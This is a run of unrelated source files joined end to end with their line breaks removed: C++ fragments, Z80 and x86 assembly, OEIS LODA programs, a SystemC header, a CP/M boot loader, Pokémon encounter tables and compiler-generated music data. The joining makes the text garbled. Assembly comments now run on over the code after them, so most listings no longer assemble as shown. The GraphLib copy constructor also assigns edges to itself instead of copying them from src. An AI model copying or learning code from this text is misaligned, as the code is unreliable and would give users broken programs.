a3[i] -= 3*aintoab[i]; } FOR(i,0,n-1) { int kk = v[i] + v[i] + v[i]; a3[kk] += 2; } trace(aintoab.size()); FOR(i,0,shift(mx+mx+mx)) { // a3[i] -= aintoab[i]; if(a3[i] > 0) trace(revert(i), a3[i]); if(a3[i] > 0) pf("%d : %d\n", revert(i), a3[i]/6); } } return 0; }
DEVICE ZXSPECTRUM48 OPT --syntax=F DEFINE TEST_BUILD org #4000 ;INCBIN "EXOLON.SCR",0 org #7070 int_handler: ei reti org #7E00 ; INT IM2 vector table .257 db #70 ; by Z80 user manual int vector is I * 256 + (D & 0xFE) ; but by other references and by T80/A-Z80 implementation int vector is I * 256 + D ; so we just play safe and use symmetric int handler address and vector table with one extra byte org #8000 app_begin: di call menu_init ld a, #7e ; set our interrupt table address (#7Fxx) ld i, a ; ... im 2 ei .loop: halt call input_process call menu_process ld a, #01 out #fe, a ld a, (var_exit_flag) or a jr z, .loop save_variables: ret includes: include config.asm include draw.asm include input.asm include pause.asm include menu.asm include menu_structure.asm include font.asm include strings.asm variables: include variables.asm DISPLAY "Application size: ",/D,$-app_begin CSPECTMAP "main_test.map" SAVESNA "main_test.sna",app_begin SAVEBIN "main_test.bin",#8000,#4000
; A136687: Number of palindromes in the range [0,n] inclusive. ; 1,2,3,4,5,6,7,8,9,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,19 lpb $0 mov $2,$0 sub $0,1 seq $2,136522 ; a(n) = 1 if n is a palindrome, otherwise 0. add $1,$2 lpe add $1,1 mov $0,$1
// Copyright (c) 2011-2021 Columbia University, System Level Design Group // SPDX-License-Identifier: MIT #ifndef __ESP_CONFIG_HPP__ #define __ESP_CONFIG_HPP__ #include "core/accelerators/esp_accelerator.hpp" class esp_config : public sc_module { public: // Input ports // Clock signal sc_in<bool> clk; // Reset signal sc_in<bool> rst; // Accelerator configuration sc_in<conf_info_t> conf_info; // Accelerator start signal sc_in<bool> conf_done; // Constructor SC_HAS_PROCESS(esp_config); esp_config(const sc_module_name &name) : sc_module(name) { SC_CTHREAD(config_accelerator, clk.pos()); reset_signal_is(rst, false); // set_stack_size(0x400000); } // Process // Configure the accelerator virtual void config_accelerator() = 0; // Function // Binding the accelerator template <size_t _DMA_WIDTH_> inline void bind_with(esp_accelerator<_DMA_WIDTH_> &accelerator); }; // Implementation #include "esp_config.i.hpp" #endif // __ESP_CONFIG_HPP__
; A330045: Expansion of e.g.f. exp(x) / (1 - x^4). ; Submitted by Christian Krause ; 1,1,1,1,25,121,361,841,42001,365905,1819441,6660721,498971881,6278929801,43710250585,218205219961,21795091762081,358652470233121,3210080802962401,20298322381652065,2534333270094778681,51516840824285500441,563561785768079119561 mov $2,$0 add $0,1 lpb $0 sub $0,1 mov $3,$2 sub $3,$0 mul $1,$3 mov $5,$0 mov $7,3 mov $8,3 lpb $7 mov $6,$5 mod $6,2 add $4,$6 div $5,2 div $8,2 mov $7,$8 lpe cmp $4,0 add $1,$4 lpe mov $0,$1
; A059827: Cubes of triangular numbers: (n*(n+1)/2)^3. ; 1,27,216,1000,3375,9261,21952,46656,91125,166375,287496,474552,753571,1157625,1728000,2515456,3581577,5000211,6859000,9261000,12326391,16194277,21024576,27000000,34328125,43243551,54010152,66923416,82312875,100544625,122023936,147197952,176558481,210644875,250047000,295408296,347428927,406869021,474552000,551368000,638277381,736314327,846590536,970299000,1108717875,1263214441,1435249152,1626379776,1838265625,2072671875,2331473976,2616662152,2930345991,3274759125,3652264000,4065356736,4516672077 add $0,2 bin $0,2 pow $0,3
; CP/M 2.2 boot-loader for Z80-Simulator ; ; Copyright (C) 1988-2007 by Udo Munk ; ORG 0 ;mem base of boot ; MSIZE EQU 64 ;mem size in kbytes ; BIAS EQU (MSIZE-20)*1024 ;offset from 20k system CCP EQU 3400H+BIAS ;base of the ccp BIOS EQU CCP+1600H ;base of the bios BIOSL EQU 0300H ;length of the bios BOOT EQU BIOS SIZE EQU BIOS+BIOSL-CCP ;size of cp/m system SECTS EQU SIZE/128 ;# of sectors to load ; ; I/O ports ; CONDAT EQU 1 ;console data port DRIVE EQU 10 ;fdc-port: # of drive TRACK EQU 11 ;fdc-port: # of track SECTOR EQU 12 ;fdc-port: # of sector FDCOP EQU 13 ;fdc-port: command FDCST EQU 14 ;fdc-port: status DMAL EQU 15 ;dma-port: dma address low DMAH EQU 16 ;dma-port: dma address high ; JP COLD ; ERRMSG: DEFM 'BOOT: error booting' DEFB 13,10,0 ; ; begin the load operation ; COLD: LD BC,2 ;b=track 0, c=sector 2 LD D,SECTS ;d=# sectors to load LD HL,CCP ;base transfer address XOR A ;select drive A OUT (DRIVE),A ; ; load the next sector ; LSECT: LD A,B ;set track OUT (TRACK),A LD A,C ;set sector OUT (SECTOR),A LD A,L ;set dma address low OUT (DMAL),A LD A,H ;set dma address high OUT (DMAH),A XOR A ;read sector OUT (FDCOP),A IN A,(FDCST) ;get status of fdc OR A ;read successful ? JP Z,CONT ;yes, continue LD HL,ERRMSG ;no, print error PRTMSG: LD A,(HL) OR A JP Z,STOP OUT (CONDAT),A INC HL JP PRTMSG STOP: DI HALT ;and halt cpu ; CONT: ;go to next sector if load is incomplete DEC D ;sects=sects-1 JP Z,BOOT ;head for the bios ; ; more sectors to load ; ; we aren't using a stack, so use <sp> as scratch register ; to hold the load address increment ; LD SP,128 ;128 bytes per sector ADD HL,SP ;<hl> = <hl> + 128 ; INC C ;sector = sector + 1 LD A,C CP 27 ;last sector of track ? JP C,LSECT ;no, go read another ; ; end of track, increment to next track ; LD C,1 ;sector = 1 INC B ;track = track + 1 JP LSECT ;for another group ; END ;of boot loader
#include "GraphLib.h" namespace GraphLib { Node::Node() : layout_pos_x(0), layout_pos_y(0), sort_importance(0), optimized(false) { predecessor = NULL; sz = Size(60, 40); shape = SHAPE_ELLIPSE; line_clr = Red(); fill_clr = White(); line_width = 1; distance = 1; point.x = 0; point.y = 0; layout_force_x = 0; layout_force_y = 0; } Node::Node(const Node& src) { predecessor = NULL; #define COPY(x) x = src.x COPY(id); COPY(line_clr); COPY(fill_clr); COPY(point); COPY(layout_pos_x); COPY(layout_pos_y); COPY(layout_force_x); COPY(layout_force_y); COPY(distance); COPY(line_width); COPY(shape); COPY(sort_importance); COPY(sz); COPY(optimized); edges <<= edges; #undef COPY } Node& Node::SetLabel(String s) { label = s; sz = MinFactor(GetTextSize(label, Arial(12)), 4, 3); return *this; } Graph::Graph() { layout_max_x = 1920; layout_min_x = 320; layout_max_y = 1080; layout_min_y = 240; fill_clr = White(); border_clr = Red(); line_clr = Black(); node_line_width = 2; edge_line_width = 1; } Node& Graph::AddNode(String id, Node* copy_data_from) { if (nodes.Find(id) != -1) return nodes.Get(id); Node& n = !copy_data_from ? nodes.Add(id) : nodes.Add(id, *copy_data_from); if (!copy_data_from) { n.fill_clr = fill_clr; n.line_clr = border_clr; n.line_width = node_line_width; } n.id = id; n.sz = MinFactor(GetTextSize(id, Arial(12)), 4, 3); // one time only return n; } Edge& Graph::AddEdge(int source, int target, double weight, Edge* copy_data_from) { return AddEdge(IntStr(source), IntStr(target), weight, copy_data_from); } Edge& Graph::AddEdge(String source, String target, double weight, Edge* copy_data_from) { ASSERT_(weight > 0.0, "Only positive weight is allowed"); Node& source_node = AddNode(source); Node& target_node = AddNode(target); Edge& e = !copy_data_from ? edges.Add() : edges.Add(*copy_data_from); if (!copy_data_from) { e.stroke_clr = line_clr; e.line_width = edge_line_width; } e.weight = weight; e.source = &source_node; e.target = &target_node; source_node.edges.Add(&e); target_node.edges.Add(&e); return e; } void Graph::RemoveNode(String id) { int i = nodes.Find(id); Node& node = nodes[i]; // Delete node from all the edges for(int i = 0; i < edges.GetCount(); i++) { Edge& edge = edges[i]; if (edge.source == &node || edge.target == &node) RemoveEdge(edge); } // Delete node from index nodes.Remove(i); } void Graph::RemoveEdge(Edge& source_edge) { Edge* found = NULL; int found_pos = -1; Node* target = source_edge.target; Node* source = source_edge.source; // Find and remove edge for(int i = 0; i < edges.GetCount(); i++) { Edge& edge = edges[i]; if (edge.source->id == source->id && edge.target->id == target->id) { found = &edge; found_pos = i; break; } } if (found) { for(int i = 0; i < found->source->edges.GetCount(); i++) { if (found->source->edges[i] == found) { found->source->edges.Remove(i); i--; } } for(int i = 0; i < found->target->edges.GetCount(); i++) { if (found->target->edges[i] == found) { found->target->edges.Remove(i); i--; } } edges.Remove(found_pos); } } void Graph::Clear() { nodes.Clear(); edges.Clear(); } }
; A040609: Continued fraction for sqrt(635). ; 25,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50,5,50 sub $0,1 mod $0,2 mul $0,11 add $0,2 pow $0,2 mov $1,$0 div $1,17 mul $1,5 add $1,5
CeruleanCaveB1FWildMons: def_grass_wildmons 25 ; encounter rate db 67, EEVEE db 68, FLAREON db 68, JOLTEON db 68, VAPOREON db 74, HITMONCHAN db 74, HITMONLEE db 71, OMANYTE db 71, KABUTO db 71, AERODACTYL db 75, PORYGON end_grass_wildmons def_water_wildmons 0 ; encounter rate end_water_wildmons
bits 16 ; System instructions mov cr0, eax mov eax, cr0 mov ecx, cr2 mov cr2, ecx mov cr4, esi mov esi, cr4 mov dr0, eax mov eax, dr0 mov dr1, esi mov esi, dr1 mov dr7, ecx mov ecx, dr7 lidt [bx] lgdt [bx] sidt [bx] sgdt [bx] ltr ax str si lldt [bx] sldt [bx] rdmsr wrmsr rdtsc rdtscp verw ax verr si lsl eax, eax lar esi, edi lmsw cx smsw sp invlpg [eax] invpcid eax, [ebp] clac stac clts invd wbinvd db 0x0F, 0x01, 0xE8 ; serialize
; ; Enterprise 64/128 clock() ; ; stefano 5/4/2007 ; ; ------ ; $Id: clock.asm,v 1.1 2011/03/18 07:12:41 stefano Exp $ ; XLIB clock .clock rst 30h defb 32 ; C hours 0 .. 23 (BCD) ; D minutes 0 .. 59 (BCD) ; E seconds 0 .. 59 (BCD) ; let's copy the result in dehl ; in a quick but wrong way.. ex de,hl ld d,0 ld e,c ret
; A142176: Primes congruent to 29 mod 39. ; Submitted by Jon Maiga ; 29,107,263,419,653,809,887,1277,1433,1511,1667,1823,1901,1979,2213,2447,2837,3461,3539,3617,3851,3929,4007,4241,4397,4787,4943,5021,5099,5333,5801,5879,6113,6269,6581,6659,6737,6971,7127,7283,7517,7673,7829,7907,8219,8297,8609,8999,9311,9467,9623,9857,10091,10169,10247,10559,10949,11027,11261,11807,12041,12119,12197,12743,12821,12899,13367,13523,13679,13757,13913,14303,14537,14771,15083,15161,15473,15551,15629,16097,16253,16487,17033,17189,17579,17657,17891,18047,18593,18671,18749,19139,19373 mov $1,16 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $1,2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,41 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mul $1,2 mov $0,$1 sub $0,81
;-------------------------------------------------------- ; File Created by SDCC : free open source ANSI-C Compiler ; Version 4.1.4 #12246 (Mac OS X x86_64) ;-------------------------------------------------------- .module music_track_101__Data .optsdcc -mgbz80 ;-------------------------------------------------------- ; Public variables in this module ;-------------------------------------------------------- .globl _music_track_101__Data .globl ___bank_music_track_101__Data ;-------------------------------------------------------- ; special function registers ;-------------------------------------------------------- ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _DATA ;-------------------------------------------------------- ; ram data ;-------------------------------------------------------- .area _INITIALIZED ;-------------------------------------------------------- ; absolute external ram data ;-------------------------------------------------------- .area _DABS (ABS) ;-------------------------------------------------------- ; global & static initialisations ;-------------------------------------------------------- .area _HOME .area _GSINIT .area _GSFINAL .area _GSINIT ;-------------------------------------------------------- ; Home ;-------------------------------------------------------- .area _HOME .area _HOME ;-------------------------------------------------------- ; code ;-------------------------------------------------------- .area _CODE_255 .area _CODE_255 _order_cnt: .db #0x10 ; 16 _P0: .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 _P1: .db #0x1d ; 29 .db #0x10 ; 16 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x22 ; 34 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x32 ; 50 '2' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x22 ; 34 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x32 ; 50 '2' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x35 ; 53 '5' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x35 ; 53 '5' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' _P2: .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0x00 ; 0 .db #0x1d ; 29 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x29 ; 41 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x20 ; 32 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2c ; 44 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x27 ; 39 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x22 ; 34 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x32 ; 50 '2' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x22 ; 34 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x32 ; 50 '2' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x2e ; 46 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x26 ; 38 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x35 ; 53 '5' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x1d ; 29 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x24 ; 36 .db #0x20 ; 32 .db #0x00 ; 0 .db #0x29 ; 41 .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x30 ; 48 '0' .db #0x03 ; 3 .db #0x32 ; 50 '2' .db #0x35 ; 53 '5' .db #0x03 ; 3 .db #0x32 ; 50 '2' _P3: .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x1d ; 29 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x29 ; 41 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x02 ; 2 .db #0x0a ; 10 .db #0x27 ; 39 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x29 ; 41 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x27 ; 39 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x24 ; 36 .db #0x70 ; 112 'p' .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x5a ; 90 'Z' .db #0x00 ; 0 .db #0xcc ; 204 .db #0x27 ; 39 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x1d ; 29 .db #0x60 ; 96 .db #0xcc ; 204 .db #0x29 ; 41 